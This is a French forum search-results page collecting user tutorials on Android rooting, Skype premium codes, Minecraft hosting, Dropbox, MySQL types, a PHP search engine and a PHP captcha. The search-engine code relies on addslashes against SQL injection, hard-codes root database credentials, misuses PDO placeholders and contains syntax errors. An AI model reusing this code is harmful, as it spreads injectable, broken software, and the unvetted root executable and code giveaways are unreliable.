Aller au contenu

Rechercher dans la communauté

Affichage des résultats pour les étiquettes 'Tutoriel'.

  • Rechercher par étiquettes

    Saisir les étiquettes en les séparant par une virgule.
  • Rechercher par auteur

Type du contenu


Forums

  • Discussions communautaires
    • Annonces importantes
    • Suggestions
    • Postulation
    • Présentation des membres
    • Discussions générales
    • Multimédias
    • Jeux vidéos
    • Actualités
    • Aide / Support
    • Études
    • Archives
  • Informatique
    • Projets des membres
    • Autres / Divers / Découvertes
    • Crypto-monnaie(s)
    • Hardware / Electronique
    • Réseaux
    • Gestion de serveur
    • Système d'exploitation : Smartphone
    • Système d'exploitation : Ordinateur
  • Programmation
    • Projets des membres
    • Développement web
    • Développement de logiciels
    • Développement d'applications pour smartphones
    • Outils du développeur
    • Aide / Support
  • Emulation
    • Aion
    • Arma III
    • Dofus
    • Dragonica
    • Emulateurs consoles
    • S4 League
    • FlyFF
    • Grand Theft Auto
    • Minecraft
    • Tera
  • Partenariats
    • <b>WoW Emu - La communauté émulation WoW</b>
    • <b>ActuGaming</b>
    • <b>H-Wars</b>
    • <b>EasyChat - Solution gratuite de chat client et serveur (anciennement Melichat)</b>
    • <b>Le Monde des Lunes</b>
    • <b>DansTonCode</b>

Rechercher les résultats dans…

Rechercher les résultats qui…


Date de création

  • Début

    Fin


Dernière mise à jour

  • Début

    Fin


Filtrer par nombre de…

Inscription

  • Début

    Fin


Groupe


Skype


Site web


AIM


MSN


ICQ


Yahoo


Jabber


Tox


Centres d'interêts


Localisation


Niveau d'étude

  1. Tout d'abord, on va commencer par les prérequis ! - Un smartphone android. - Un cable usb. - 1ClickRoot (voir fin du post). Comment procéder ? C'est assez simple... munissez vous de votre smartphone android, aller dans les paramètres, options de développement et cochez "débogage USB". Branchez ensuite votre smartphone sur votre ordinateur. Lancer 1ClickRoot.exe, préalablement téléchargé ! Cliquez sur "Root", cliquez sur "Yes". Si vous avez un message d'erreur, vérifié bien vos drivers ! Voila, votre smartphone android est rooté, vous pouvez le déconnecter de votre PC et profiter du root ! Téléchargement de 1ClickRoot.exe (Mediafire) Analise de 1ClickRoot.exe (VirusTotal)
  2. Bonjour, Si vous ne connaissez rien au langage de programmation en C, voici un tutoriel sur le Site du Zéro (aka Openclassroom) très bien rédigé et assez complet pour s'initialiser dans la programmation en langage C : Apprendre à programmer en C Je vous invite également à poster un sujet dans ce forum pour donner le résultat de votre apprentissage, vos questions, vos codes ou tout autres résultantes de la lecture de ce tutoriel.
  3. mars073

    The Drag'n Drop è_é

    Salut all, donc voici un tuto sur le drag'n drop, ce qui consiste juste dans le fait de faire glisser un fichier dans un un programme. Donc sélectionnez votre élément ou votre form (selon la zone où vous voulez faire glisser le fichier, puis dans ses propriétés cherchez "AllowDrop" et activez le (True), si il n'est pas dans les propriétés, il est possible d'aller l'écrire directement dans le code du desing mais pour faire simple on va mettre le code suivant dans l’évènement du la form au chargement (double click sur la form ou double click sur l'évènement load de l'objet) et je rappel que ce code n'est que si vous n'avez pas trouvé "AllowDrop" dans les propriété: [Nom_de_l'élèment] .AllowDrop = true Sélectionnez votre élément et dans les propriétés allez dans l'onglet des events () et double click sur "DragEnter" et "DragDrop", dans DragEnter entrez le code suivant: e.Effect = e.AllowedEffect dans DragDrop, dans cette exemple je vais charger un fichier image dans une picturebox: Dim pictr() As String Dim str As String ' va contenir le chamin d'accès If e.Data.GetDataPresent(DataFormats.FileDrop) Then pictr = e.Data.GetData(DataFormats.FileDrop) str = pictr(0) PictureBox1.Load(str) 'je charge l'image End If Et voilà c'est finis^^ Bonne programmation à tous! Cordialement, Mars073
  4. Salut à tous, je vais vous donner la possibilité si vous le souhaité, d'obtenir skype prenium. Pour cela, rendez-vous ici Puis rentrez un des codes parmis ceux-ci : Voilà c'est tout pour le moment ! Screen pour preuve : ATTENTION : CERTAINS DE CES CODES ONT DEJA ETE UTILISES, VOUS DEVREZ PEUT-ETRE EN ESSAYER 4 VOIR 5 AVANT QUE VOUS N'OBTENIEZ UN ABONNEMENT. Merci PS : dîtes moi si ça a marché chez moi et au bout de combien d'essais, si besoin est, je redonnerai des codes. Mth
  5. Bonjour tout le monde, Nous allons voir aujourd'hui comment Héberger et mettre en ligne son propre serveur Minecraft. Il y a différentes façons de le faire, mais nous allons voir ici uniquement la façon dite "Officiel". En gros nous allons passer par un Hébergeur agréer qui va gérer une bonne partie de la technique et vous fournir les ressources nécessaire pour que votre serveur marche le mieux possible. Nous allons donc tout de suite commencer par la première étape. Elle n'est ni la plus facile, ni la plus dur mais va être déterminante pour votre futur serveur... et pour votre Portemonnaie ! I - Quel type de serveur pour quel type de configuration ? Comme vous l'aurez deviné, il y a différents types de configurations pour les serveurs Minecraft. certaines seront approprié pour des petits serveurs où 4~5 joues ensembles, et d'autre pour des serveurs où ce quo-habite des centaines voir des milliers de joueurs ! Autant vous dire que la machine qui va héberger votre serveur sera bien différente par rapport à l'orientation que vous allez choisir. Voici donc à mes yeux les différents types de serveurs : - Serveur entre ami(e)s : Serveur à bas prix réservé pour vous et vos ami(e)s. Généralement fait pour 4~6, ce type de serveur ne demande pas une grosse configuration mais est plus où moins limité. bien que la jouabilité en Vanilla soit plutôt bonne et l’implémentation de CraftBukkit (API spécifique de plugin, la plus rependu), l’installation de Mods et ModPack est très difficile. Certains hébergeurs proposes des serveurs comme ceci gratuit, mais ils sont tous occupés depuis bien longtemps. Configuration : RAM : 1024~2048 Mo Slots (nombre de places) : 4~6 Accès FTP : Conseillé MapViewer : Pratique mais pas indispensable Prix : 1.24~1.99 - Serveur pour petite communauté : Fait pour les communauté réduites, grand groupe d'amie ou encore future grand serveur. Les configurations de ce type de serveur est faite pour accueillir plus de personnes mais est aussi optimisé pour des ajouts conséquents au niveau des plugins, mods voir ModPack. Tout dépend de ce que vous voulez. Configuration : RAM : 2048~4096 Mo (Possibilité de 1024 Mo si aucun plugin trop groument, à vous de voir) Slots (nombre de places) : 10~25 Accès FTP : Conseillé MapViewer : Pratique mais pas indispensable Prix : 2.99~8.00 - Serveur MultiJoueurs conséquent : Ce type de serveur n'est pas forcément une communauté soudé. Le plus souvent exploité par les amateurs de PvP ou les avides de FreeBuild, les serveurs sont en général bondés de plugins et de joueurs. Autant dire qu'il faut faire tourner tout ça ! Les configurations demandés sont plus tourné vers le très Haut-gamme des gros hébergeurs (Les petits n'ont pas toujours les moyens de tout faire tourner correctement) et très souvent configuré au poil près. Vos moindre faits et gestes sur le serveur peuvent être retrouvé. Les petits serveurs de Mini-Games ce tournent aussi vers des configurations similaire. Configuration : RAM : 5120~ILLIMITÉ* Mo Slots (nombre de places) : 50~999 Accès FTP : Obligatoire, certains réglages manuels sont très souvent utilisé MapViewer : Très conseillé selon le type de serveur Prix : 7.49~9.99 Illimité : Attention à ce type d'offre. Par exemple, certains Hébergeurs vont augmenter votre RAM selon votre besoin (surtout les leurs en général) ou encore vous en attribuer sur une machine (256 Go de la machine la majorité du temps). Autant vous dire que si vous êtes 500 sur la même machine, c'est pas top. Faites attention ! Pour les slots, ils y a une configuration de base mais changeable à l'infini. - Serveur Minecraft géant : Dans le monde, il n'y a pas énormément de serveur de ce type. En même temps, il faut beaucoup de choses, une idée, de la technique, des relations, de l'argent et de la chance. Même si vous n'avez pas ça dès le début, n'ayez crainte, seul 1/4 des serveurs de ce types commences directement à un niveau comme celui là. Et oui car, c'est pas tout ça, mais la configuration est assez énorme. Autant vous dire que votre Porte-Monnaie doit suivre . Même si certains serveur PvP et Free-Build arrivent à ce niveau, la majorité des serveurs de ce style sont des serveur de type Mini-Games. Configuration : RAM : Serveur dédier ou aller voir directement l’hébergeur pour une aussi grosse commande Slots (nombre de places) : 5000 - 39000 Accès FTP : COMPLÉTEMENT obligatoire MapViewer : Très conseillé selon le type de serveur Prix : Beaucoup II - Choisir son Hébergeur Comme vous pouvez vous en douter, il y a plusieurs Hébergeurs différents. Certains vont opter pour des prix ultra concurrentiel, d'autre par une qualité inébranlable et d'autre encore par un panel des plus clairs. Bref' tout dépend de vous. Il faut savoir que pour avoir une bonne qualité prix, il faut opter pour un gros Hébergeur. Malheureusement les petits Hébergeurs ont bien souvent sois l'un, sois l'autre. Mais il arrive également de faire de bonne trouvailles, à vous des nous les partager ! Je vais vous présenter ici les plus gros (Désolé si j'en oublie) : Je ne peux pas vraiment donner un avis sur chacun de ses Hébergeurs. La première raison est que je les trouves tous plutôt compétent, et la deuxième est que je ne tiens pas à faire de la PUB. Je vous laisse donc vérifier les différentes offres, en faisant attention à tout les endroits ou il est marqué illimité. L’illimité n'existe pas. Essayez de comparer les différents panels proposé ainsi que les options qui vous sont donnez. Quelques Hébergeurs ont également des serveurs gratuits temporaire pour que vous puissiez tester leur qualité. III - Configurer son serveur Touts les hébergeurs Minecraft (Sauf si vous passez par un serveur dédié chez OVH par exemple) ont un panel simple et complet qui va vous permettre de régler votre serveur Minecraft sans passer par le FTP. Je vais aujourd'hui vous expliquer comment marche certaines configurations* : *Je vais ici travailler avec le panel de Minecraft-mania, les autres panels sont à peux près similaire Message de bienvenue : Sert à afficher un message automatique à votre serveur, placé ici : Logo du Serveur : Va placer un logo pour votre serveur. Visible ici : Level Seed : Mettez votre "Graine" de génération de monde (en général un chiffre). Tout monde avec le même seed sera similaire au votre (Sur la génération). Ressource Pack : Mettez y un lien vers le téléchargement direct de votre Ressource Pack. Attention il doit être en .zip ou .rar ! Difficulté : Difficulté par défaut de votre serveur. Également réglable directement en jeu par les Administrateurs. Mode de Jeu : Mode de Jeu (Gamemode) par défaut quand on arrive sur le serveur. Changeable directement en jeu par les Administrateurs. Version du Serveur : Permet de choisir la version Minecraft que vous voulez pour votre serveur. Level Type : A FAIRE AVANT DE LANCER VOTRE SERVEUR POUR LA PREMIÈRE FOIS ! Va décider qu'elle type de génération vous allez avoir (3 disponibles, mais une 4ème possible en passant par le FTP). Protection du Spawn : Largeur de la protection du point d'apparition originel. Rien ne pourra être casser (sauf par un administrateur) dans cette zone. La largeur va en X, Y et Z (Hauteur, Largeur, Longueur). Hardcore : Si vous mourrez vous êtes Bannis à jamais... sauf si un Administrateur vient vous dé-bannir ! Difficulté bloqué en difficile. Autoriser le vol : Autorise les joueurs à voler par leurs propres moyens. Si désactivé, les joueurs vont être expulsé pour vol, mais peuvent ce reconnecter par la suite. Très fiable. Activer le Nether : Active ou non les portails vers le Nether. Évolution de l’environnement, génération des structures : Autorise ou non des structures comme les villages ou les donjons à ce générer. Serveur cracké : Autorise les joueurs en mode "OffLine" à ce connecter. Joueur contre Joueur (PvP,JcJ) : Autorise les joueurs à ce tuer entre eux. Présence des Animaux : Autorises les animaux à apparaitre. Présence des monstres : Autorise les Monstres à apparaitre. Liste Blanche, WhiteList : N'autorise que les joueurs inscrits sur la liste blanche à ce connecter. Bloc de commande : Active les Blocs de Commande. Il y a également d'autres modules complémentaires dans les panels donnés par les hébergeurs. A noté qu'il y a une console servant d'Administrateur Ultime pour votre serveur. J'éspère vous être venu en aide !
  6. Dropbox Bonjour à tous, Dans ce petit tuto, je vais vous montrer comment utiliser Dropbox. Dropbox est un logiciel permettant de partager des documents en tout genre (documents textes, photos, vidéos...) créé par Dropbox Inc. En 2008. I : Installation Tout d'abord, il vous faut télécharger Dropbox (gratuit). Suivez la démarche d'installation et créez un compte si vous n'en possédez pas un. Une fois l'installation terminée, un dossier sera créé dans les Documents ou l'Explorateur Windows (selon l'OS que vous possédez). Lorsque vous ouvrez ce dossier, il sera bien évidemment vide si vous venez de vous inscrire. A noter que vous pouvez choisir entre trois versions de Dropbox (qui permettent de stocker plus de fichiers) : la première, qui permet de stocker jusqu'à 2Go est gratuite, la deuxième permet de stocker jusqu'à 100 Go (9,99 $ par mois) et la troisième jusqu'à 200 Go, à 19,99 $ par mois. Notons aussi que vous pouvez obtenir gratuitement de l'espace en suivant les instructions données. Pour y accéder, cliquez sur « Obtenir de l'espace gratuitement » dans votre compte Internet : Lors de l'installation, vous avez aussi une icône qui apparaît dans votre barre des tâches pour savoir rapidement si votre dossier est synchronisé avec votre compte sur le web. II : Utilisation L'utilisation de Dropbox est assez simple parce que le logiciel ne permet qu'un partage des documents ainsi que la possibilité de voir ses fichiers depuis un autre ordinateur (compte Internet). Ce qui tranche avec SkyDrive par exemple, qui lui permet, en plus du partage, d'héberger des documents en ligne et de les mettre sur un site. De plus, la version gratuite de SkyDrive permet de stocker jusqu'à 7Go de fichiers alors que celle de Dropbox, ne permet que jusqu'à 2Go. mais dans leurs chartes mutuelles SkyDrive ce permet de changé vos documents alors que Dropbox non II.1. Synchronisation Quand vous copiez un fichier dans votre dossier Dropbox, il apparaît avec deux flèches bleues qui tournent : votre document est en cours de synchronisation. Une fois qu'il apparaît avec une flèche verte, cela veut dire qu'il est synchronisé avec votre compte Internet. Vous pouvez le voir et le télécharger depuis le web. Le fichier est en cours de synchronisation... ... et il est synchronisé. Ce même fichier sur Internet. II.2. Partager un dossier / fichier avec une personne non inscrite Avec Dropbox, vous pouvez partager des dossiers avec des personnes ne possédant pas de compte ! Pour ce faire, il vous suffit de glisser le fichier dans le dossier « Public ». Ensuite, attendez qu'il se synchronise. Connectez-vous à votre compte Internet et sélectionnez votre fichier dans le dossier « Public ». Faites clique-droit avec votre souris et cliquez sur « Copier le lien public ». Puis, collez-le où vous voulez ! Mails, blogs, forums... La personne n'aura qu'à cliquer sur le lien. II.3. Partager un dossier / fichier avec une personne inscrite Pour partager un fichier avec une personne inscrite, il faut déjà que celui-ci soit synchronisé avec Internet. Puis, connectez-vous et sélectionnez votre fichier. Cliquez sur « Partager le lien ». Dans le cas présent, je partage une image. Je reviendrai après sur le partage d'un dossier. Après avoir cliquer sur « Partager le lien », vous devez entrer l'adresse e-mail de la personne avec laquelle vous voulez partager votre image. Cliquer sur envoyer, et le tour est joué ! Dans le cas d'un dossier, deux cas se présentent : - Soit le dossier est inexistant : Alors, il faut que vous fassiez clique-droit puis « Partager un dossier ». Cochez « Je veux créer et partager un dossier ». Saisissez le nom du dossier : Cliquez sur « Suivant » et entrez l'adresse e-mail de la personne avec laquelle vous voulez partager le dossier. - Soit le dossier existe : Alors, c'est comme pour l'image, il faut que vous cliquez sur « Partager le lien » et que vous entrez l'adresse mail de la personne avec laquelle vous voulez partager le dossier. II.4. Supports / applications Dropbox est compatible avec Windows, Mac OS 10.4 et plus, Linux, Blackberry, Androïd et iOS. Dropbox met à disposition de ses utilisateurs une application iOS (téléchargeable sur l'AppStorre) mais aussi sur Androïd. Liens : > https://www.dropbox.com/ Source' : http://www.remontees-mecaniques.net/forums/index.php?showtopic=17862
  7. Bonjour à tous, je vais vous faire cette fois un topic sur les tables en elle même. Commençons par la création (le début des temps lulz), connaître ces scripts devient presque obsolète vu les programmes et api disponiblent maintenant mais bon ça peut toujours servir: #syntaxe: CREATE TABLE [NOM] ([VARIABLES+TYPE+PARAMÈTRES])[PARAMÈTRES SUPPLEMENTAIRES]; CREATE TABLE `ma_table` ( `texte` text NOT NULL, `chiffre` int(10) unsigned NOT NULL, ); Donc: >doc- [NOM] = `ma_table` : C'est simplement le nom que vous voulez donner à votre table - [VARIABLES] : Vous devez donner le nom de la variable/colonne, sont type (chiffre, texte, date, ..) la longueur qu'il doit faire, etc. - [PARAMÈTRES SUPP] : paramètre de la table j'en montrerais dans les exemples suivants au niveau des type de variables vous avez: >doc - tinyint : chiffre entier (de -128 à 127) - smallint : chiffre entier (de -32768 à 32767) - mediumint : chiffre entier (de -8388608 à 8388607) - int : chiffre entier (de -2147483648 à 2147483647) - bigint : chiffre entier (de -9223372036854775808 à 9223372036854775807) - float, decimal, double: pour faire simple on va dire chiffre à virgule - bit: chiffre en binaire (ex: 10110010110100100100...) - binary et varbinary : un peut comme bit sauf que la limite attribuée maximale est de 255 bits - date : Attention c'est la date dans le format mysql uniquement (AAAA-MM-JJ), c'est la norme rfc-machin, ex: 1996-06-21 - time : une heure dans le format standard (HH:MM:SS), ex: 20:32:51 - datetime : le format de "date" et "time" séparé par un espace, ex: 199-06-21 20:32:51 - year : l'année en 4 chiffres, ex: 1996 ou 0666 - char : chaîne de caractères de maximum de 255 caractères (ex: "blsdkngki jsngkj rn1121 dgd") - varchar : similaire à "char" sauf dans le fait que "char" considère les cratères vides comme un espaces jusqu'au comment où il arrive à la limite et oui char peut être avantageux au niveau d'utilisation de fonction par exemple - text (tinytext, text, mediumtext et longtext) : simplement de text, je pense que la limite est dynamique malgré ses autres types qui peut changer la consommation de mémoire à mon avis, je regarderais quand j'aurais le temps. - enum : liste de possibilité définie à la place de la limite. - set : similaire à "enum" sauf que plusieurs possibilités peuvent être attribuées à la varible. normalement toute on utilise pour toutes ses variables un limite de caractère (sauf text), on définie celle-ci entre parenthèses à la suite du type, exemple un "int" a une limite par défaut de 10: `chiffre` int(10) ... les types à virgules (float, decimal, ..) peuvent avoir un second paramètre qui est la limite après la virgule exemple avec une limite de 3 avant et 2 après la virgule: `chiffre2` float(3, 2) ... et la dernières exception je pense est "enum", sa limite sont les choix possibles, exemple la variable fruit peut être 3 fruits différents: `fruit` enum("fraise", "pomme", "cranberrys") ... vous vous demandez peut-être pourquoi ne pas utiliser toujours "text" pour du texte par exemple, c'est simple ça évite de bouffer de la mémoire pour rien bien que maintenant les machines sont si puissantes que la perte se compte en nano-secondes (ns) mais bon dans certaines entreprises grattent jusqu'à la plus infime nano-seconde surtout dans les infrastructure réseau... maintenant on va ajouter des paramètres à nos variables avec une valeur par défaut, une auto-incrémentation (A_I), ou déclarer comme ... en cours de rédaction, c'est long et chiant ...
  8. Bonjour à tous, Aujourd’hui je vais vous montrer comment coder un moteur de recherche de base, vous pouvez donc aussi bien améliorer la structure de vos tables que la condition de recherche elle même. Contexte: Le moteur de recherche sert à trouver un joueur et afficher ses statistiques. Structure table: CREATE TABLE `players` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `guild` text NOT NULL, `token` int(11) NOT NULL, PRIMARY KEY (`id`) ) AUTO_INCREMENT=1 ; Le formulaire de recherche (search.php): <form action="./search.php" method="GET"> <label for="name">Nom du joueur</label> <input type="text" name="name"> <input type="submit" value="Rechercher"> </form> Je ne m'attarde pas sur le html vu que c'est un tuto php/my-sql. à la suite du code html vous allons ajouter du php: <table width="100%"> <tr> <th>#</th> <th>Nom</th> <th>Points</th> </tr> <?php $page = 0; if (isset($_GET['name']) { $page = 1; // Page par défaut affichée $np_page = 25; // Nom de résultat par page $name = addslashes($_GET['name']); // suppression faille sql $icxn = mysqli_connect("127.0.0.1", "root", "toor", "game"); //connexion mySQLi // vérification du numéro de la page si elle est indiqué dans l'url en "?page=n" if (isset($_GET['page'])&&is_numeric($_GET['page'])&& $_GET['page']>0&&$_GET['page']<9999999) $page = $_GET['page']; $fourchette = ($page - 1) * $np_page; $iquery = mysqli_query($icxn, "SELECT * FROM `players` WHERE `name` LIKE '%$name%' ORDER BY `name` ASC LIMIT $fourchette, $np_page"); while ($char = mysqli_fetch_array($iquery)) { echo <<<LINE <tr> <td>{$char['id']}</td> <td><b>{$char['name']}</b></td> <td>{$char['token']}</td> </tr> LINE; } } ?> </table> <?php if ($page!=0) { echo "page(s): "; $iquery_count = mysqli_query($icxn, "SELECT * FROM `players` WHERE `name` LIKE '%$name%'"); $count = mysqli_nums_rows($iquery_count); for ($i = 1; $i < $count/$np_page; $i++) { echo '<a href="./search.php?page='.$i.'">'.$i.'</a>&nbsp;'; } } ?> Conseil pour améliorer: -Si la table est beaucoup avec votre moteur faite une colonne de plus où il y a une simplification des caractères (ex: "é" => "e"; "â" => "a"; etc). -Attention aux caractères html utilisiez la fonction strip_tag() ou autre sur ce qui causer des faille xss par exemple si le client peu choisir le nom de son personnage et mettre du code html dedans c'est mort. -Supprimez les caractères "%" et "_" si ils sont présent dans $name et instauré une limite au niveau du nombre de caractères pour la recherche exemple: minimum 4 caractères, pour évites de charger trop de chose. Version pdo pour les gens qui aiment la pdo: <table width="100%"> <tr> <th>#</th> <th>Nom</th> <th>Points</th> </tr> <?php $page = 0; if (isset($_GET['name']) { $page = 1; // Page par défaut affichée $np_page = 25; // Nom de résultat par page $name = $_GET['name']; $cxn = new PDO('mysql:host=127.0.0.1;dbname=game', 'root', 'toor'); //connexion mySQL // vérification du numéro de la page si elle est indiqué dans l'url en "?page=n" if (isset($_GET['page'])&&is_numeric($_GET['page'])&& $_GET['page']>0&&$_GET['page']<9999999) $page = $_GET['page']; $fourchette = ($page - 1) * $np_page; $query = $cxn->prepare("SELECT * FROM players` WHERE `name` LIKE '%:name%' ORDER BY `name` ASC LIMIT :fourchette, :npp"); $query->bindValue(':name', $name, PDO::PARAM_STR); $query->bindValue(':fourchette', $fourchette, PDO::PARAM_INT); $query->bindValue(':npp', $np_page, PDO::PARAM_INT); $query->execute(); while ($char = $query->fetch()) { echo <<<LINE <tr> <td>{$char['id']}</td> <td><b>{$char['name']}</b></td> <td>{$char['token']}</td> </tr> LINE; } } ?> </table> <?php if ($page!=0) { echo "page(s): "; $query_count = $cxn->prepare("SELECT * FROM `players` WHERE `name` LIKE '%:name%'"); $query_count->bindValue(':name', $name, PDO::PARAM_STR); $query_count->execute(); $count = $query_count->rowCount(); for ($i = 1; $i < $count/$np_page; $i++) { echo '<a href="./search.php?page='.$i.'">'.$i.'</a>&nbsp;'; } } ?> Bonne programmation à tous! Cordialement, Mars073
  9. Voici un petit tutoriel fait maison pour donner à vos photos un aspect irréel de rêve et d'enchantement ! Tout d'abord, il faut savoir que toutes les photos de se prêtent pas à ce genre de manipulation ! Préférez des portraits ou des paysages ! J'ai donc choisi une photo random pour vous montrer un peu comment faire ! Voici donc la photo de base : On ouvre donc cette photo dans Lightroom, et l'on clique sur l'onglet "développement". Procédons tout d'abord par les réglages de base ( contraste, lumière, balance des blancs, noirs, et les couleurs) comme ceci (tous les réglages qui seront fait peuvent être modifiés à votre guise !! ) Ensuite, nous allons utiliser un filtre pour modifier le décors et l'environnement de la jeune fille mais pas son visage ! (filtre = petit rond avec le point à l'intérieur sous l'histogramme) On peut le placer comme ceci : Et l'on règle la teinte et la température pour changer les couleurs ! On réglera également la douceur de la photo avec le curseur "clarté" dans les moins. On valide, et ensuite on effectue quelques derniers réglages, comme encore un peu de contraste, ou la lumière, etc... Voilà ! Et le rendu final : Une ambiance douce et irréelle ! Personnellement j'adore ce genre de photos ^w^ J'espère que ce tuto vous aura plu et vous sera peut-être utile un jour ! J'en ferai d'autres sous lightroom ou autre logiciels photo à votre demande ! Un petit avant-après pour se rendre compte des changements : AVAP.bmp
  10. Bonjour à tous, J'ai fais un topic sur la création d'image et la sécu, et j'ai eu aucun commentaire :E mais bon là je vais faire un mélange des 2 je vais vous expliquer comment faire une captcha de base. Pour ceux qui ne qui n'ont jamais entendu parler des captcha, et non chapka (le chapeau russe), c'est le plus nouveau une suite de chiffre ou/et de lettre qu'il faut recopier lorsque l'on inscrit ou que l'on fait appel à un service sur un site. Contexte: On doit généré un code qui fait entre 3 et 5 caractères alphanumérique en majuscule sauf 0 (car c'est lourd mélanger le O et le 0). <?php $chars = "123456789AZERTYUIOPQSDFGHJKLMWXCVBN"; // La liste des caractères possible $code = ""; $code_len = rand(3, 5); // longueur de code aléatoire for ($i = 0; $i < $code_len; $i++) { $code .= $chars[rand(0, strlen($chars)-1)]; // ajout d'un caractère au hasard } echo $code; ?> maintenant on génère un image avec: <?php header('Expires: Mon, 1 Jan 2000 01:00:00 GMT'); // date à la quelle l'image doit d'être supprimée (il y a +14 ans xD) header('Cache-Control: no-store, no-cache, must-revalidate'); // on dit que ça doit pas mettre sauvegardé dans le cache header('Cache-Control: post-check=0, pre-check=0', false); // même chose header("Content-type: image/png"); // type d'image png, vous pouvez aussi mettre en jpeg et diminuer la qualité pour avoir un truc pour perturber les robots... $img = imagecreatetruecolor(120, 30); // génération d'une image de 120px de large et 30px de haut imagefill($img, 0, 0, 0xFFFFFF); // la couleur de fond est blanc dans ce cas-ci $chars = "123456789AZERTYUIOPQSDFGHJKLMWXCVBN"; // La liste des caractères possible $code = ""; $code_len = rand(3, 5); // longueur de code aléatoire for ($i = 0; $i < $code_len; $i++) { $code .= $chars[rand(0, strlen($chars)-1)]; // ajout d'un caractère au hasard } imagestring($img, 5, 20, 10, $code, 0x000000); imagepng($img); imagedestroy($img); ?> rendu: fonction non-vu dans mon autre topic: - imagecratetruecolor() crée une image avec toute les couleurs (+16 million). - imagefill() ça vous permet de remplir votre image d'une certaine couleur. - imagestring() écrire un simple texte sur l'image. 0x000000 est l'équivalent du code couleur hexadécimal #000000 le système souvent utilisé en html, css, lua, etc. Normalement on utilise une variable (car les couleurs ne sont pas correctes de mémoire) le code pour le remplissage aurait donc due être: <?php $blanc = imagecolorallocate($img, 255, 255, 255); imagefill($img, 0, 0, $blanc); // la couleur de fond est blanc dans ce cas-ci ?> la fonction imagecolorallocate() permet de déclarer une couleur en peu comme en css avec par exemple: "rgb( 255, 255, 255);". une image php peut se mettre au même titre que n'importe quelle image dans un code html: <!-- Contexte: L'image php s'appel "captcha.php" et se trouve dans le même dossier que le code html --> <img src="captcha.php" border="0"> <input type="text" name="antirobot" placeholder="Recopier le code..."> Mais comment on fait pour connaître code après? simplement avec une variable $_SESSION et au passage on va ajouter entre 2 et 6 lignes en arrière-plan. <?php session_start(); header('Expires: Mon, 1 Jan 2000 01:00:00 GMT'); // date à la quelle l'image doit d'être supprimée (il y a +14 ans xD) header('Cache-Control: no-store, no-cache, must-revalidate'); // on dit que ça doit pas mettre sauvegardé dans le cache header('Cache-Control: post-check=0, pre-check=0', false); // même chose header("Content-type: image/png"); // type d'image png, vous pouvez aussi mettre en jpeg et diminuer la qualité pour avoir un truc pour perturber les robots... $img = imagecreatetruecolor(120, 30); // génération d'une image de 120px de large et 30px de haut imagefill($img, 0, 0, 0xFFFFFF); // la couleur de fond et blanc dans ce cas-ci $chars = "123456789AZERTYUIOPQSDFGHJKLMWXCVBN"; // La liste des caractères possible $code = ""; $code_len = rand(3, 5); // longueur de code aléatoire $line_n = rand(2, 6); // nombre de ligne aléatoire entre 2 et 6 for ($i=0; $i < $line_n; $i++) { // position du point de départ et de fin de la ligne au hasard imageline($img, rand(1, imagesx($img)), rand(1, imagesy($img)), rand(1, imagesx($img)), rand(1, imagesy($img)), 0x000000); } for ($i = 0; $i < $code_len; $i++) { $code .= $chars[rand(0, strlen($chars)-1)]; // ajout d'un caractère au hasard } $_SESSION['code'] = $code; imagestring($img, 5, 20, 10, $code, 0x000000); imagepng($img); imagedestroy($img) ?> fonctions: - imageline() tracer une ligne sur une image avec un point de départ et un point de fin. - imagesx() retourne la largeur de l'image. - imagesy() retourne la hauteur de l'image. Protégé contre les robots? haha t'es marrant, je te tuerais en dernier. En faite il est extrêmement compliqué... enfin les vrai robot pas les trucs en mousse codé en javascript ou en vb. maintenant on va faire en sorte que les lettres soient positionnées un peu aléatoirement: <?php session_start(); header('Expires: Mon, 1 Jan 2000 01:00:00 GMT'); // date à la quelle l'image doit d'être supprimée (il y a +14 ans xD) header('Cache-Control: no-store, no-cache, must-revalidate'); // on dit que ça doit pas mettre sauvegardé dans le cache header('Cache-Control: post-check=0, pre-check=0', false); // même chose header("Content-type: image/png"); // type d'image png, vous pouvez aussi mettre en jpeg et diminuer la qualité pour avoir un truc pour perturber les robots... $img = imagecreatetruecolor(120, 30); // génération d'une image de 120px de large et 30px de haut imagefill($img, 0, 0, 0xFFFFFF); // la couleur de fond et blanc dans ce cas-ci $chars = "123456789AZERTYUIOPQSDFGHJKLMWXCVBN"; // La liste des caractères possible $code = ""; $code_len = rand(3, 5); // longueur de code aléatoire $line_n = rand(2, 6); // nombre de ligne aléatoire entre 2 et 6 for ($i=0; $i < $line_n; $i++) { // position du point de départ et de fin de la ligne au hasard imageline($img, rand(1, imagesx($img)), rand(1, imagesy($img)), rand(1, imagesx($img)), rand(1, imagesy($img)), 0x000000); } for ($i = 0; $i < $code_len; $i++) { $char = $chars[rand(0, strlen($chars)-1)]; // un caractère au hasard $code .= $char; // ajout du catactère imagestring($img, 5, 20+($i*12)+rand(-2, 2), 10+rand(-10, 5), $char, 0x000000); } $_SESSION['code'] = $code; imagepng($img); imagedestroy($img) ?> maintenant on va mettre des couleurs et flouter l'image avec une matrix: <?php session_start(); header('Expires: Mon, 1 Jan 2000 01:00:00 GMT'); // date à la quelle l'image doit d'être supprimée (il y a +14 ans xD) header('Cache-Control: no-store, no-cache, must-revalidate'); // on dit que ça doit pas mettre sauvegardé dans le cache header('Cache-Control: post-check=0, pre-check=0', false); // même chose header("Content-type: image/png"); // type d'image png, vous pouvez aussi mettre en jpeg et diminuer la qualité pour avoir un truc pour perturber les robots... $img = imagecreatetruecolor(120, 30); // génération d'une image de 120px de large et 30px de haut imagefill($img, 0, 0, 0xA3A3A3); // la couleur de fond et blanc dans ce cas-ci $chars = "123456789AZERTYUIOPQSDFGHJKLMWXCVBN"; // La liste des caractères possible $code = ""; $code_len = rand(3, 5); // longueur de code aléatoire $line_n = rand(2, 6); // nombre de ligne aléatoire entre 2 et 6 for ($i=0; $i < $line_n; $i++) { // position du point de départ et de fin de la ligne au hasard imageline($img, rand(1, imagesx($img)), rand(1, imagesy($img)), rand(1, imagesx($img)), rand(1, imagesy($img)), "0x".dechex(rand(20, 200)).dechex(rand(20, 200)).dechex(rand(20, 200))); } for ($i = 0; $i < $code_len; $i++) { $char = $chars[rand(0, strlen($chars)-1)]; // un caractère au hasard $code .= $char; // ajout du catactère imagestring($img, 5, 20+($i*12)+rand(-2, 2), 10+rand(-10, 5), $char, "0x".dechex(rand(180, 255)).dechex(rand(180, 255)).dechex(rand(180, 255))); } $_SESSION['code'] = $code; $flou = array( array(1.0, 2.0, 1.0), array(2.0, 4.0, 2.0), array(1.0, 2.0, 1.0) ); imageconvolution($img, $flou, 16, 0); 